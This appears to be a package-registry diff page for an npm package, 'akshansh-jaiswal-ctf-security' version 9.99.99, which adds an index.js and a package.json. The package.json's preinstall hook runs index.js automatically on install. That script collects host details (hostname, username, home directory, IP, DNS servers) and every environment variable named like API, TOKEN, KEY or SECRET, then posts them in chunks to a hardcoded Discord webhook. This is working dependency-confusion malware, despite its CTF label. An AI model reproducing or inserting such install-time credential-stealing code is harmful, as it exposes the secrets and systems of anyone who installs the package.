akshansh-jaiswal-ctf-security 9.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of akshansh-jaiswal-ctf-security might be problematic. Click here for more details.
- package/index.js +94 -0
- package/package.json +15 -0
package/index.js
ADDED
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
const discordWebhookUrl = 'https://discord.com/api/webhooks/1193495191710089256/gbP4D1WCBOymeyH8Dk3wU0hQAn7KkeQcdJybmtWCRC3bQKCHpDM6bEGzox_Gn3OA-BDv'; // Replace with your Discord Webhook URL
|
|
6
|
+
|
|
7
|
+
function getIPv4() {
|
|
8
|
+
const ifaces = os.networkInterfaces();
|
|
9
|
+
for (let dev in ifaces) {
|
|
10
|
+
for (let details of ifaces[dev]) {
|
|
11
|
+
if (details.family === 'IPv4' && !details.internal) {
|
|
12
|
+
return details.address;
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
}
|
|
16
|
+
return '127.0.0.1';
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
function filterSensitiveEnvVars(env) {
|
|
21
|
+
const sensitiveVars = {};
|
|
22
|
+
for (const [key, value] of Object.entries(env)) {
|
|
23
|
+
if (key.includes('API') || key.includes('TOKEN') || key.includes('KEY') || key.includes('SECRET')) {
|
|
24
|
+
sensitiveVars[key] = value;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
return sensitiveVars;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
|
|
31
|
+
Current Directory: ${__dirname}
|
|
32
|
+
Home Directory: ${os.homedir()}
|
|
33
|
+
Hostname: ${os.hostname()}
|
|
34
|
+
Username: ${os.userInfo().username}
|
|
35
|
+
IP Address: ${getIPv4()}
|
|
36
|
+
Dns-Server: ${dns.getServers()}
|
|
37
|
+
Package: ${JSON.stringify(require('./package.json'), null, 2)}`;
|
|
38
|
+
|
|
39
|
+
const sensitiveEnvVars = filterSensitiveEnvVars(process.env);
|
|
40
|
+
const envVariablesString = JSON.stringify(sensitiveEnvVars, null, 2);
|
|
41
|
+
const discordCharLimit = 2000;
|
|
42
|
+
|
|
43
|
+
function chunkSubstr(str, size) {
|
|
44
|
+
const numChunks = Math.ceil(str.length / size);
|
|
45
|
+
const chunks = new Array(numChunks);
|
|
46
|
+
|
|
47
|
+
for (let i = 0, o = 0; i < numChunks; ++i, o += size) {
|
|
48
|
+
chunks[i] = str.substr(o, size);
|
|
49
|
+
}
|
|
50
|
+
return chunks;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
const availableSpace = discordCharLimit - baseMessage.length - 100;
|
|
54
|
+
const envVarChunks = chunkSubstr(envVariablesString, availableSpace);
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
function sendMessage(message, delay) {
|
|
58
|
+
setTimeout(() => {
|
|
59
|
+
const payload = JSON.stringify({ content: message });
|
|
60
|
+
const parsedUrl = new URL(discordWebhookUrl);
|
|
61
|
+
const options = {
|
|
62
|
+
hostname: parsedUrl.hostname,
|
|
63
|
+
path: parsedUrl.pathname,
|
|
64
|
+
method: 'POST',
|
|
65
|
+
headers: {
|
|
66
|
+
'Content-Type': 'application/json',
|
|
67
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
68
|
+
}
|
|
69
|
+
};
|
|
70
|
+
|
|
71
|
+
const req = https.request(options, (res) => {
|
|
72
|
+
console.log(`Status: ${res.statusCode}`);
|
|
73
|
+
res.on('data', (d) => {
|
|
74
|
+
process.stdout.write(d);
|
|
75
|
+
});
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
req.on('error', (e) => {
|
|
79
|
+
console.error(e);
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
req.write(payload);
|
|
83
|
+
req.end();
|
|
84
|
+
}, delay);
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
sendMessage(baseMessage, 0);
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
envVarChunks.forEach((chunk, index) => {
|
|
92
|
+
const delay = (index + 1) * 2000;
|
|
93
|
+
sendMessage(`Env Part ${index + 1}: ${chunk}`, delay);
|
|
94
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "akshansh-jaiswal-ctf-security",
|
|
3
|
+
"version": "9.99.99",
|
|
4
|
+
"description": "akshansh-security",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "akshansh",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"akshansh-jaiswal-ctf-security": "^99.99.99"
|
|
14
|
+
}
|
|
15
|
+
}
|